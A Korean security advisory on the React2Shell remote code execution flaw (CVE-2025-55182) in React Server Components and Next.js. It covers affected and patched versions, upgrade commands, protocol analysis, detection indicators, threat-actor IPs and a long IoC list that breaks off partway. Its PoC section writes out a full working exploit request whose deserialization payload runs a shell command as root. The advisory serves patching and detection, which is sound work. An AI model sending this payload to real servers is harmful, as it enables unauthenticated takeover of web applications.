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CVE-2025-55182(React2Shell) 취약점 분석 및 대응방안

작성자
보안분석팀
감수인
손보형
작성일
2025/12/08
배포일
2025/12/09
문서등급
TLP:CLEAR
Tags
CVE-2025-55182
React2Shell
문서유형
TechNote

01. Executive Summary

`25년 12월 3일, React와 Next.js에 원격에서 인증없이 코드실행이 가능한 RCE 취약점 공개
* React : Meta가 개발한 JavaScript라이브러리로 전세계에서 가장 널리 사용되는 웹 프레임워크
CVSS 10 만점으로 Wiz Research, Amazon Threat Intelligence, Datadog 등 실제 공격사례 확인되었으며, 전 세계 클라우드 환경의 39%가 해당 취약점에 노출
Earth Lamia와 Jackpot Panda를 포함한 여러 중국연계 위협 행위자 악용 시도 발견
React 19부터 제공하는 React Server Components(RSC)의 Flight 프로토콜이 안전하지 않은 역직렬화를 통해 서버에서 인증되지 않은 원격 코드 실행
기존 구성의 취약성을 이용하기 때문에 취약점 영향도가 높으며, 빠른 시일 내에 보안패치 필요
클라우드 자격증명 수집, 암호화폐 채굴, 랜섬웨어 감염 등이 피해 발생 위험

02. Affected Packages

일부 React 프레임워크와 번들러가 취약한 React 패키지 의존, 피어 종속성 등에 의해 영향 : next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk
구분
패키지명
영향받는버전
패치버전
React
19.0, 19.1, 19.2(React 18.x 이하 영향X)
19.0.1, 19.1.2, 19.2.1
Next.js
14.3.0-canary, 15.x,16.x (App Router)
14.3.0-canary.88, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
NIST에서 CVE-2025-6648은 CVE-2025-55182와 동일 취약점으로 중복 처리하여 삭제
보안 솔루션내 보안패턴 적용여부 확인 및 React와 Next.js 취약버전 사용여부 확인
취약한 버전의 React와 Next.js으로 인한 이상 징후가 확인되는 경우 웹 로그 추가 분석 필요
패키지명
보안패치 버전
Next.js
○ 모든 사용자는 릴리스 라인의 최신 패치 버전으로 업그레이드 npm install next@15.0.5 // for 15.0.x npm install next@15.1.9 // for 15.1.x npm install next@15.2.6 // for 15.2.x npm install next@15.3.6 // for 15.3.x npm install next@15.4.8 // for 15.4.x npm install next@15.5.7 // for 15.5.x npm install next@16.0.7 // for 16.0.x ○ Next.js 14.3.0-canary.77 또는 이후의 canary 릴리스를 사용하는 경우 최신 안정 버전인 14.x 릴리스로 다운그레이드 npm install next@14
React Router
○ React Router의 불안정한 RSC API를 사용하는 경우 다음 package.json 종속성이 있으면 업그레이드 npm install react@latest npm install react-dom@latest npm install react-server-dom-parcel@latest npm install react-server-dom-webpack@latest npm install @vitejs/plugin-rsc@latest
Redwood SDK
○ rwsdk>=1.0.0-alpha.0을 사용하고 있는지 확인 npm install rwsdk@latest ○ react-server-dom-webpack 최신버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-webpack@latest
Waku
○ react-server-dom-webpack 최신 버전으로 업그레이드 npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest
@vitejs/plugin-rsc
○ 최신 RSC 플러그인으로 업그레이드 npm install react@latest react-dom@latest @vitejs/plugin-rsc@latest
react-server-dom-parcel
○ 최신 버전으로 업데이트 npm install react@latest react-dom@latest react-server-dom-parcel@latest
react-server-dom-turbopack
○ 최신 버전으로 업데이트 npm install react@latest react-dom@latest react-server-dom-turbopack@latest
react-server-dom-webpack
○ 최신 버전으로 업데이트 npm install react@latest react-dom@latest react-server-dom-webpack@latest

03. Technical Analysis

3.1. React Vulnerability Analysis

1) 취약점 기본정보

구분
패키지명
영향받는버전
패치버전
CVE-2025-55182
React
19.0, 19.1, 19.2(React 18.x 이하 영향X)
19.0.1, 19.1.2, 19.2.1
`25년 11월 29일, 뉴질랜드 보안 연구원 라클란 데이비슨(Lachlan Davidson)이 발견한 취약점으로 공격자는 HTTP요청만 보내면 별도의 인증없이 기본 설정만으로도 공격 가능한 취약점, React2Shell (CVE-2025-55182)

2) 취약점 상세분석

React Server Components(RSC)는 컴포넌트를 클라이언트(브라우저) 대신 서버에서 실행할 수 있도록 하는 React의 기능으로 클라이언트 대신 서버에서 무거운 작업을 처리해 성능을 향상
작동방식 : 서버 구성 요소가 서버에서 렌더링되어 직렬화되어 클라이언트로 전송하며 RSC는 React Flight라는 프로토콜을 사용하여 서버와 클라이언트 간의 데이터 직렬화와 통신을 수행
* React Flight : RSC에서 데이터의 직렬화, 역직렬화 및 스트리밍을 처리하는 기본 프로토콜
React 서버-클라이언트 간의 응답 처리 구조
① 서버-클라이언트(표준 흐름): 서버는 RSC 데이터를 작은 데이터 패킷으로 직렬화하여 클라이언트로 스트리밍하는 구조로 클라이언트는 이를 역직렬화하고 렌더링하여 브라우저에 많은 JavaScript 코드를 전송하지 않고도 빠른 로드가 가능
② 클라이언트-서버(응답 흐름) : 상호 작용의 경우 클라이언트는 데이터를 직렬화하여 서버로 다시 보낼 수 있고, 서버는 이를 역직렬화하여 요청을 처리
[React Flight RSC 흐름도, 출처 : OX]
React Flight 응답 페이로드의 서버에서 안전하지 않은 역직렬화로 인해 React 서버 구성 요소에 사전 인증 원격 코드 실행 취약점이 발생
취약점이 발생하는 지점은 클라이언트 → 서버(응답 흐름)에서 발생하며, 서버는 서버 함수(서버 작업) 엔드포인트로 전송된 Flight 인코딩 데이터를 역직렬화
이전에 역직렬화 로직은 속성 소유권을 검증하지 않고 동적으로 제공된 메타데이터를 사용하여 모듈 내보내기를 처리하면서 취약점을 악용하면 공격자가 서버 측 모듈과 함수 해석을 방해하여 서버에서 인증되지 않은 원격 코드 실행이 가능

3.2. Next.js Vulnerability Analysis

1) 취약점 기본정보

구분
패키지명
영향받는버전
패치버전
CVE-2025-66478
Next.js
14.3.0-canary, 15.x,16.x (App Router)
14.3.0-canary.88, 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

2) 취약점 상세분석

Next.js는 React와 마찬가지로 오픈소스 기반의 JavaScript 프레임워크로 CVE-2025-66478로 CVE가 매핑되었으나 React 취약점(CVE-2025-55182)와 취약점 트리거가 동일하여 Next.js가 패치되지 않고 최신 패치된 React를 사용하여 자체 React 코드 코드를 업데이트
packages/next/src/compiled/react-server-dom-turbopack/cjs/react-server-dom-turbopack-client.browser.development.js 내부 커밋 중 내부 React 코드의 변경 사항만 포함

04. CVE-2025-55182 PoC

환경구성 : Docker 기반의 CVE-2025-55182 취약점 테스팅 환경을 통해 구성
취약한 버전 : next 16.0.6, react 19.2.0, react-dom 19.2.0
[PoC 테스트 결과 응답 값에서 RCE 발현 확인 가능]
원본 PoC는 Next.js가 자체적으로 내장 웹 서버 역할까지 수행하고 있음(Next.js는 기본적으로 웹서버 로그파일 생성X)
본 테스트에서는 Nginx 서버 구성(nginx.conf) 추가하여 재구성한 Docker에서 테스트함
[PoC 테스트 결과 웹로그(/var/log/nginx/access.log) 내용]
웹로그 상에서는 POST 메소드 Body 내역의 React2Shell 공격 탐지 불가하므로 별도의 보안 솔루션 내 보안패턴 적용하여 탐지 필요
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 740 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
JavaScript
복사
[ CVE-2025-55182 PoC Request 패킷 일부]
HTTP/1.1 500 Internal Server Error Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding Cache-Control: no-cache, no-store, max-age=0, must-revalidate x-nextjs-cache: HIT x-nextjs-prerender: 1 Content-Type: text/x-component Date: Fri, 05 Dec 2025 11:53:05 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 195 0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"} 1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
JavaScript
복사
[CVE-2025-55182 PoC Response 결과]
React2Shell 공격 시 Request 패킷 정보
[CVE-2025-55182 PoC Request 패킷]
① next-action 또는 rsc-action-id 헤더가 HTTP POST 요청
React2Shell(CVE-2025-55182)은 React Server Components(RSC)의 Flight 프로토콜 역직렬화 취약점으로 HTTP 메소드 종류 자체보다 RSC 페이로드가 전달되는 대상 엔드포인트와 전달 방식이 핵심
next-action, rsc-action-id 헤더는 Next.js App Router 환경에서 Server Action을 호출시 내부적으로 사용하는 식별자 헤더로 보통 일반적으로 사용자가 직접 지정하는 값이 아닌 프레임워크가 자동으로 생성·전달
② "status": "resolved_model" 패턴
"status": "resolved_model" 값은 서버/클라이언트 간 객체 직렬화/역직렬화 과정에서 객체를 실제 실행 가능한 모델 해석 여부를 나타내는 내부 상태 값
해당 값이 비정상적으로 조작될 경우 unsafe deserialization 계열 취약점 유발 지점
③ $@ 패턴
RSC Flight 프로토콜 내부에서 함수 참조, Server Action 프록시, React Element 참조 객체 등을 표현하기 위한 특수 토큰으로 사용

05. Threat Actor Infrastructure

AWS에 따르면 CVE-2025-55182 취약점 공개 이후 중국연계 위협 행위자 공격 급증
IP
활동일자
속성
공격그룹 주요 공격대상
206[.]237.3.150
`25.12.4
Earth Lamia
중국연계 위협 행위자로 라틴아메리아, 중동, 동남아시아 전역의 조직을 공격 금융 서비스, 물류, 소매, IT 기업, 대학, 정부 기관 등 다양한 분야를 공격
45[.]77.33.136
`25.12.4
Jackpot Panda
중국연계 위협 행위자로 주로 동아시아 및 동남아시아 지역 기관을 공격 국내 안보 및 부패 문제와 관련된 정보 수집 우선순위로 공격
143[.]198.92.82
`25.12.4
익명화 네트워크
대규모 익명화 네트워크는 중국 사이버 작전의 핵심 특징으로 정찰, 악용, 지휘통제 활동을 수행
183[.]6.80.214
`25.12.4
속성이 지정되지 않은 위협 클러스터
GreyNoise에서도 CVE-2025-55182 취약점에 악용된 IP주소 288개 공개(`25.12.8 15시 기준)

06. IoC

자세한 사항은 자사 Cyber Threat Intelligence 서비스를 통해 별도 제공
No
IP
Country
ISP
Type
1
183.182.125.198
Laos
Star Telecom
IPv4
2
77.83.240.4
Netherlands
Alsycon B.V.
IPv4
3
95.214.52.170
Poland
MEVSPACE sp. z o.o.
IPv4
4
144.31.5.11
Poland
H2nexus Ltd
IPv4
5
45.61.157.12
United States
ROUTERHOSTING
IPv4
6
192.159.99.95
United States
1337 Services GmbH
IPv4
7
193.142.147.209
Netherlands
ColocaTel Inc.
IPv4
8
149.50.96.133
Poland
MEVSPACE sp. z o.o.
IPv4
9
178.20.210.159
Finland
Shereverov Marat Ahmedovich
IPv4
10
204.76.203.40
Netherlands
Pfcloud UG
IPv4
11
196.251.100.191
Germany
Optibounce, LLC
IPv4
12
163.223.115.142
Philippines
AKM INTERNET INSTALLATION SERVICES
IPv4
13
178.218.144.107
Germany
Lowhosting services of Davide Gennari
IPv4
14
209.38.140.189
United States
DIGITALOCEAN-ASN
IPv4
15
147.135.36.123
United States
OVH SAS
IPv4
16
174.138.2.203
Netherlands
DIGITALOCEAN-ASN
IPv4
17
194.165.16.11
Lithuania
Flyservers S.A.
IPv4
18
141.98.82.26
Romania
Flyservers S.A.
IPv4
19
178.218.144.101
Germany
Lowhosting services of Davide Gennari
IPv4
20
167.86.107.35
France
Contabo GmbH
IPv4
21
95.143.187.216
Russia
JSC Selectel
IPv4
22
115.23.235.135
South Korea
Gyeonggi Provincial Suwon Office of Education
IPv4
23
171.252.32.135
Vietnam
Viettel Group
IPv4
24
43.130.1.109
United States
Tencent Building, Kejizhongyi Avenue
IPv4
25
143.198.145.163
United States
DIGITALOCEAN-ASN
IPv4
26
192.3.153.18
United States
AS-COLOCROSSING
IPv4
27
162.241.149.91
United States
NETWORK-SOLUTIONS-HOSTING
IPv4
28
141.11.187.165
Netherlands
NForce Entertainment B.V.
IPv4
29
160.250.70.17
Australia
Sharon AI
IPv4
30
221.148.108.52
South Korea
Korea Telecom
IPv4
31
149.18.54.179
United States
TWC-11426-CAROLINAS
IPv4
32
91.221.71.98
Russia
The Center of Dedicated Servers LLC
IPv4
33
124.156.185.164
Hong Kong
Tencent Building, Kejizhongyi Avenue
IPv4
34
45.133.119.239
Italy
Revolution Provider Srl
IPv4
35
119.42.144.140
Hong Kong
Netsec Limited
IPv4
36
94.103.0.190
Poland
Global Connectivity Solutions Llp
IPv4
37
79.124.40.174
Bulgaria
Tamatiya EOOD
IPv4
38
162.252.198.227
Netherlands
BLNWX
IPv4
39
162.220.167.254
United States
IS-AS-1
IPv4
40
198.38.91.110
Singapore
WHG Hosting Services Ltd
IPv4
41
45.148.8.34
Romania
Magit'st Srl
IPv4
42
138.197.16.159
United States
DIGITALOCEAN-ASN
IPv4
43
202.120.234.124
China
China Education and Research Network Center
IPv4
44
195.62.32.132
Netherlands
PIO-Hosting GmbH
IPv4
45
202.61.240.147
Germany
netcup GmbH
IPv4
46
198.38.91.111
Singapore
WHG Hosting Services Ltd
IPv4
47
185.73.124.89
Bulgaria
Soldatov Alexey Valerevich
IPv4
48
192.250.228.92
Singapore
WHG Hosting Services Ltd
IPv4
49
27.40.108.159
China
China Unicom IP network China169 Guangdong province
IPv4
50
107.189.30.236
Switzerland
PONYNET
IPv4
51
202.120.234.163
China
China Education and Research Network Center
IPv4
52
37.19.221.168
United States
Datacamp Limited
IPv4
53
199.217.99.188
Netherlands
BLNWX
IPv4
54
64.181.181.230
Brazil
ORACLE-BMC-31898
IPv4
55
202.120.234.35
China
China Education and Research Network Center
IPv4
56
94.183.232.40
United States
Cgi Global Limited
IPv4
57
35.247.148.102
Singapore
GOOGLE-CLOUD-PLATFORM
IPv4
58
47.252.11.60
United States
Alibaba US Technology Co., Ltd.
IPv4
59
2.57.122.173
Romania
Unmanaged Ltd
IPv4
60
38.59.240.142
United States
Kirino LLC
IPv4
61
217.60.249.112
United States
Cgi Global Limited
IPv4
62
173.239.218.116
United States
Clouvider Limited
IPv4
63
155.69.172.60
Singapore
Nanyang Technological University
IPv4
64
39.144.231.9
China
China Mobile Communications Group Co., Ltd.
IPv4
65
85.11.167.3
Netherlands
ColocaTel Inc.
IPv4
66
192.249.121.157
United States
INMOTION
IPv4
67
172.86.75.173
Netherlands
BLNWX
IPv4
68
193.142.201.105
Netherlands
PacketHub S.A.
IPv4
69
4.240.39.196
India
MICROSOFT-CORP-MSN-AS-BLOCK
IPv4
70
140.82.171.239
United States
UPNLLC
IPv4
71
91.121.209.220
France
OVH SAS
IPv4
72
187.87.249.187
Brazil
Netwave Telecomunicacoes Ltda.
IPv4
73
108.171.195.163
United States
WEBNX
IPv4
74
23.153.217.65
United States
GUNGHO-SAS
IPv4
75
104.233.253.4
Hong Kong
PEG-HK
IPv4
76
125.103.212.79
Japan
ARTERIA Networks Corporation
IPv4
77
181.215.193.5
Turkey
VENTURESDC Veri Merkezi Hizmetleri
IPv4
78
43.153.193.178
Singapore
Tencent Building, Kejizhongyi Avenue
IPv4
79
152.53.50.245
Austria
netcup GmbH
IPv4
80
103.149.93.183
Hong Kong
COGNETCLOUD
IPv4
81
185.105.239.128
Iran
Pars Parva System LLC
IPv4
82
45.76.151.194
Singapore
AS-VULTR
IPv4
83
112.134.208.214
Sri Lanka
Sri Lanka Telecom Internet
IPv4
84
130.94.13.239
United States
LIGHT NODE LIMITED
IPv4
85
149.248.44.88
United States
AS-VULTR
IPv4
86
49.245.80.60
Singapore
MobileOne Ltd. MobileInternet Service Provider Singapore
IPv4
87
157.245.207.55
Singapore
DIGITALOCEAN-ASN
IPv4
88
79.127.222.219
United States
Datacamp Limited
IPv4
89
103.151.173.210
Japan
IKUUU NETWORK LTD
IPv4
90
38.225.206.89
India
Kennies Star India Private Limited
IPv4
91
146.190.107.193
Singapore
DIGITALOCEAN-ASN
IPv4
92
20.212.233.41
Singapore
MICROSOFT-CORP-MSN-AS-BLOCK
IPv4
93
23.27.143.210
United States
Evoxt Enterprise
IPv4
94
146.70.192.180
Singapore
M247 Europe SRL
IPv4
95
38.54.85.208
Hong Kong
Kaopu Cloud HK Limited
IPv4
96
92.51.2.22
Russia
Flyservers S.A.
IPv4
97
39.128.23.75
China
China Mobile Communications Group Co., Ltd.
IPv4
98
208.87.243.131
United States
AS40676
IPv4
99
45.129.231.10
Netherlands
ColocaTel Inc.
IPv4
100
152.42.216.64
Singapore
DIGITALOCEAN-ASN
IPv4
101
158.247.223.108
South Korea
AS-VULTR
IPv4
102
154.90.51.121
Saudi Arabia
Kaopu Cloud HK Limited
IPv4
103
31.58.169.70
United States
IS-AS-1
IPv4
104
172.96.140.124
United States
RELIABLESITE
IPv4
105
119.235.221.156
Indonesia
PT Mora Telematika Indonesia
IPv4
106
116.213.36.244
Hong Kong
Netsec Limited
IPv4
107
114.10.40.170
Indonesia
INDOSAT Internet Network Provider
IPv4
108
31.49.85.239
United Kingdom
British Telecommunications PLC
IPv4
109
106.61.28.180
China
Chinanet
IPv4
110
77.110.110.55
Germany
Aeza International Ltd
IPv4
111
195.178.110.131
Netherlands
Techoff Srv Limited
IPv4
112
44.211.38.64
United States
AMAZON-AES
IPv4
113
120.235.52.71
China
China Mobile Communications Group Co., Ltd.
IPv4
114
91.210.107.156
Russia
Hostkey B.v.
IPv4
115
167.160.189.190
United States
AS-COLOCROSSING
IPv4
116
208.131.130.55
United States
UK-2 Limited
IPv4
117
82.26.72.164
Japan
FUTURE-LAIN
IPv4
118
165.227.192.230
United States
DIGITALOCEAN-ASN
IPv4
119
157.15.40.60
Indonesia
PT Trisari Data Indonusa
IPv4
120
37.27.184.90
Finland
Hetzner Online GmbH
IPv4
121
61.223.164.120
Taiwan
Data Communication Business Group
IPv4
122
36.73.35.16
Indonesia
PT Telekomunikasi Indonesia
IPv4
123
165.154.196.9
India
Scloud Pte Ltd
IPv4
124
107.175.233.90
United States
AS-COLOCROSSING
IPv4
125
43.157.203.160
Indonesia
Tencent Building, Kejizhongyi Avenue
IPv4
126
118.107.41.168
Hong Kong
CTG Server Limited
IPv4
127
72.62.67.33
Malaysia
Hostinger International Limited
IPv4
128
113.161.34.240
Vietnam
VNPT Corp
IPv4
129
64.111.93.13
Netherlands
BLNWX
IPv4
130
206.119.89.76
Hong Kong
Hong Kong Communications International Co., Limited
IPv4
131
5.83.218.84
United Kingdom
LATITUDE-SH
IPv4
132
139.84.217.206
India
AS-VULTR
IPv4
133
91.199.163.68
Netherlands
Alviva Holding Limited
IPv4
134
103.195.101.158
United States
RELIABLESITE
IPv4
135
74.201.72.250
United States
DEDICATED
IPv4
136
103.172.72.213
India
Excitel Broadband Private Limited
IPv4
137
123.30.5.226
Vietnam
VNPT Corp
IPv4
138
3.106.187.172
Australia
AMAZON-02
IPv4
139
154.219.123.37
United States
FD-298-8796
IPv4
140
52.27.190.5
United States
AMAZON-02
IPv4
141
52.27.190.13
United States
AMAZON-02
IPv4
142
147.45.177.85
Canada
Global Connectivity Solutions Llp
IPv4
143
45.61.150.195
United States
ROUTERHOSTING
IPv4
144
45.61.157.211
United States
ROUTERHOSTING
IPv4
145
38.225.206.91
India
Kennies Star India Private Limited
IPv4
146
1.233.104.29
South Korea
SK Broadband Co Ltd
IPv4
147
108.174.50.44
United States
AS-COLOCROSSING
IPv4
148
52.27.190.209
United States
AMAZON-02
IPv4
149
47.90.254.34
United States
Alibaba US Technology Co., Ltd.
IPv4
150
103.177.95.250
Indonesia
PT Industri Kreatif Digital
IPv4
151
34.77.232.198
Belgium
GOOGLE-CLOUD-PLATFORM
IPv4
152
139.59.28.111
India
DIGITALOCEAN-ASN
IPv4
153
115.42.60.223
Hong Kong
ChangLian Network Technology Co., Limited
IPv4
154
165.154.226.60
Taiwan
Scloud Pte Ltd
IPv4
155
122.10.198.226
Hong Kong
ZEN-ECN
IPv4
156
34.126.136.16
Singapore
GOOGLE-CLOUD-PLATFORM
IPv4
157
57.183.78.41
Japan
AMAZON-02
IPv4
158
35.73.167.186
Japan
AMAZON-02
IPv4
159
113.119.172.80
China
Chinanet
IPv4
160
104.28.247.69
Hong Kong
CLOUDFLARENET
IPv4
161
194.59.204.99
Germany
netcup GmbH
IPv4
162
98.172.84.11
United States
ASN-CXA-ALL-CCI-22773-RDC
IPv4
163
45.166.64.38
Brazil
MJ TECNOLOGIA DA INFORMACAO LTDA
IPv4
164
95.156.229.82
Germany
active 1 GmbH
IPv4
165
45.140.169.184
Russia
LLC Baxet
IPv4
166
51.81.242.185
United States
OVH SAS
IPv4
167
112.224.184.167
China
CHINA UNICOM China169 Backbone
IPv4
168
170.78.97.89
Brazil
MV TELECOM
IPv4
169
103.239.14.12
Bangladesh
CAFE-7040
IPv4
170
51.210.15.251
France
OVH SAS
IPv4
171
89.117.50.231
France
Contabo GmbH
IPv4
172
138.99.203.209
Brazil
W2I TELECOM E SERVICOS LTDA - ME
IPv4
173
154.3.37.78
Hong Kong
DMIT
IPv4
174
1.203.183.232
China
China Networks Inter-Exchange
IPv4
175
60.167.53.143
China
Chinanet
IPv4
176
116.169.81.121
China
CHINA UNICOM China169 Backbone
IPv4
177
173.212.239.200
France
Contabo GmbH
IPv4
178
199.21.174.169
Thailand
Siamdata Communication Co.,Ltd.
IPv4
179
52.27.190.186
United States
AMAZON-02
IPv4
180
107.148.129.98
Hong Kong
PEG-HK
IPv4
181
202.131.110.130
India
BlazeNets Network
IPv4
182
198.12.111.122
United States
AS-COLOCROSSING
IPv4
183
95.182.100.226
Hong Kong
Cgi Global Limited
IPv4
184
45.32.158.54
Germany
AS-VULTR
IPv4
185
185.196.10.247
Switzerland
Global-Data System IT Corporation
IPv4
186
113.122.16.3
China
Chinanet
IPv4
187
123.139.61.111
China
CHINA UNICOM China169 Backbone
IPv4
188
163.172.152.206
France
Scaleway S.a.s.
IPv4
189
58.246.155.61
China
China Unicom Shanghai network
IPv4
190
47.242.143.153
Hong Kong
Alibaba US Technology Co., Ltd.
IPv4
191
193.37.32.153
Singapore
Internet Utilities Europe and Asia Limited
IPv4
192
112.30.113.90
China
China Mobile Communications Group Co., Ltd.
IPv4
193
125.141.26.14
South Korea
Korea Telecom
IPv4
194
124.128.76.2
China
CHINA UNICOM China169 Backbone
IPv4
195
116.162.227.38
China
CHINA UNICOM China169 Backbone
IPv4
196
171.218.239.48
China
Chinanet
IPv4
197
118.163.200.40
Taiwan
Data Communication Business Group
IPv4
198
87.121.84.52
United States
Vpsvault.host Ltd
IPv4
199
156.0.200.134
Hong Kong
Misaka Network, Inc.
IPv4
200
154.16.54.253
United States
Hivelocity LLC
IPv4
201
217.23.3.92
The Netherlands
WorldStream B.V.
IPv4
202
141.11.146.73
Hong Kong
Ikuuu Network Ltd
IPv4
203
171.113.47.106
China
CHINATELECOM Hubei province Wuhan 5G network
IPv4
204
212.87.194.240
Japan
Akari Networks
IPv4
205
157.254.20.251
United States
Hytron Network Services Limited
IPv4
206
95.182.100.31
Hong Kong
Cgi Global Limited
IPv4
207
101.254.157.196
China
IDC, China Telecommunications Corporation
IPv4
208
103.163.220.9
The Netherlands
Internet Utilities Europe and Asia Limited
IPv4
209
103.53.80.103
Japan
xTom Japan Corporation
IPv4
210
203.175.14.249
Hong Kong
GOALNOW NETWORK TECHNOLOGY CO., LIMITED
IPv4
211
109.105.193.3
Hong Kong
Haruka Network Limited
IPv4
212
122.51.46.102
China
Shenzhen Tencent Computer Systems Company Limited
IPv4
213
208.52.6.17
United States
AS-WAVE-1
IPv4
214
111.93.250.250
India
Tata Teleservices ISP AS
IPv4
215
23.166.88.142
Switzerland
AS-GLOBALTELEHOST
IPv4
216
114.226.253.201
China
Chinanet
IPv4
217
223.166.104.179
China
China Unicom Shanghai network
IPv4
218
155.2.219.55
Brazil
ZEN-ECN
IPv4
219
106.52.199.187
China
Shenzhen Tencent Computer Systems Company Limited
IPv4
220
43.224.227.253
Hong Kong
AROSS-AS
IPv4
221
38.114.122.142
United States
AS-GLOBALTELEHOST
IPv4
222
110.184.255.73
China
Chinanet
IPv4
223
211.83.126.62
China
China Education and Research Network Center
IPv4
224
203.198.248.177
Hong Kong
HKT Limited
IPv4
225
206.206.78.187
Singapore
Regxa Company for Information Technology Ltd
IPv4
226
180.98.137.149
China
Chinanet
IPv4
227
111.55.210.90
China
China Mobile communications corporation
IPv4
228
103.172.81.133
Hong Kong
NEXET LIMITED
IPv4
229
182.8.225.170
Indonesia
PT. Telekomunikasi Selular
IPv4
230
115.193.121.69
China
Chinanet
IPv4
231
117.175.185.73
China
China Mobile Communications Group Co., Ltd.
IPv4
232
149.28.128.173
Singapore
AS-VULTR
IPv4
233
180.131.145.103
United States
OVH SAS
IPv4
234
178.128.108.210
Singapore
DIGITALOCEAN-ASN
IPv4
235
103.171.177.217
Hong Kong
Eons Data Communications Limited
IPv4
236
103.163.220.20
The Netherlands
Internet Utilities Europe and Asia Limited
IPv4
237
103.99.60.11
Hong Kong
CUSTOMER-OPTUS1
IPv4
238
193.37.32.146
Singapore
Internet Utilities Europe and Asia Limited
IPv4
239
142.171.91.206
United States
MULTA-ASN1
IPv4
240
180.111.153.218
China
Chinanet
IPv4
241
188.253.120.168
Singapore
Akari Networks
IPv4
242
217.23.3.91
The Netherlands
WorldStream B.V.
IPv4
243
172.111.156.122
France
M247 Europe SRL
IPv4
244
123.253.224.86
Hong Kong
KMNIX LLC
IPv4
245
46.36.37.85
Czechia
SecurityNet.cz s.r.o.
IPv4
246
103.135.101.15
Hong Kong
LANDUPS LIMITED
IPv4
247
23.94.73.142
United States
AS-COLOCROSSING
IPv4
248
27.21.28.211
China
Chinanet
IPv4
249
223.104.42.209
China
China Mobile Communicaitons Corporation
IPv4
250
39.144.109.128
China
Shandong Mobile Communication Company Limited
IPv4
251
110.184.150.3
China
Chinanet
IPv4
252
175.161.97.109
China
CHINA UNICOM China169 Backbone
IPv4
253
172.237.13.231
Japan
Akamai Connected Cloud
IPv4
254
218.76.9.236
China
Chinanet
IPv4
255
37.19.217.107
France
Datacamp Limited
IPv4
256
211.22.161.135
Taiwan
Data Communication Business Group
IPv4
257
213.21.239.39
Latvia
Sino Worldwide Trading Limited
IPv4
258
154.3.34.19
Hong Kong
DMIT
IPv4
259
23.248.176.106
Taiwan
ZEN-ECN
IPv4
260
66.135.2.109
United States
AS-VULTR
IPv4
261
103.116.72.4
Hong Kong
PRIME-SEC
IPv4
262
103.148.72.21
Hong Kong
Pittqiao Network Information Co.,Ltd.
IPv4
263
45.32.102.91
Singapore
AS-VULTR
IPv4
264
8.216.34.84
Japan
Alibaba US Technology Co., Ltd.
IPv4
265
23.95.123.235
United States
ByteVirt LLC
IPv4
266
205.185.122.202
United States
PONYNET
IPv4
267
148.251.135.156
Germany
Hetzner Online GmbH
IPv4
268
14.220.242.37
China
Chinanet
IPv4
269
103.153.141.147
Mongolia
iTools JSC
IPv4
270
123.253.224.44
Hong Kong
KMNIX LLC
IPv4
271
52.69.242.209
Japan
AMAZON-02
IPv4
272
58.16.228.61
China
CHINA UNICOM China169 Backbone
IPv4
273
45.146.252.37
Germany
ZAP-Hosting GmbH
IPv4
274
177.40.229.100
Brazil
TELEFONICA BRASIL S.A
IPv4
275
162.215.170.26
United States
UNIFIEDLAYER-AS-1
IPv4
276
117.158.127.64
China
Henan Mobile Communications Co.,Ltd
IPv4
277
14.31.76.194
China
Chinanet
IPv4
278
144.172.110.62
United States
ROUTERHOSTING
IPv4
279
211.72.214.64
Taiwan
Data Communication Business Group
IPv4
280
171.113.13.169
China
CHINATELECOM Hubei province Wuhan 5G network
IPv4
281
124.115.170.13
China
Chinanet
IPv4
282
104.233.253.5
Hong Kong
PEG-HK
IPv4
283
103.127.218.128
Taiwan
Pittqiao Network Information Co.,Ltd.
IPv4
284
45.156.87.56
The Netherlands
Pfcloud UG
IPv4
285
158.247.231.73
South Korea
AS-VULTR
IPv4
286
112.47.255.228
China
China Mobile Communications Group Co., Ltd.
IPv4
287
182.33.28.87
China
Chinanet
IPv4
288
111.55.79.17
China
China Mobile communications corporation
IPv4
289
103.172.81.140
Hong Kong
NEXETLIMITED-AS-AP NEXET LIMITED
IPv4
290
104.129.12.12
United States
AS-COLOCROSSING
IPv4
291
104.131.187.186
United States
DIGITALOCEAN-ASN
IPv4
292
104.28.206.119
Japan
CLOUDFLARENET
IPv4
293
111.235.76.13
Japan
ENJOYVC-AS-AP EnjoyVC Japan Corporation
IPv4
294
144.22.210.54
Brazil
ORACLE-BMC-31898
IPv4
295
163.223.115.128
Philippines
AIIS-AS-AP AKM INTERNET INSTALLATION SERVICES
IPv4
296
165.232.169.235
Singapore
DIGITALOCEAN-ASN
IPv4
297
179.94.25.211
Brazil
TELEFONICA BRASIL S.A
IPv4
298
182.239.87.77
Hong Kong
IPEOPLESNET-AS-AP China Mobile Hong Kong Company Limited
IPv4
299
188.253.116.68
Taiwan
AKARI-NETWORKS-AS-AP Akari Networks
IPv4
300
194.246.84.13
Romania
MAGHOST_
IPv4
301
20.64.169.97
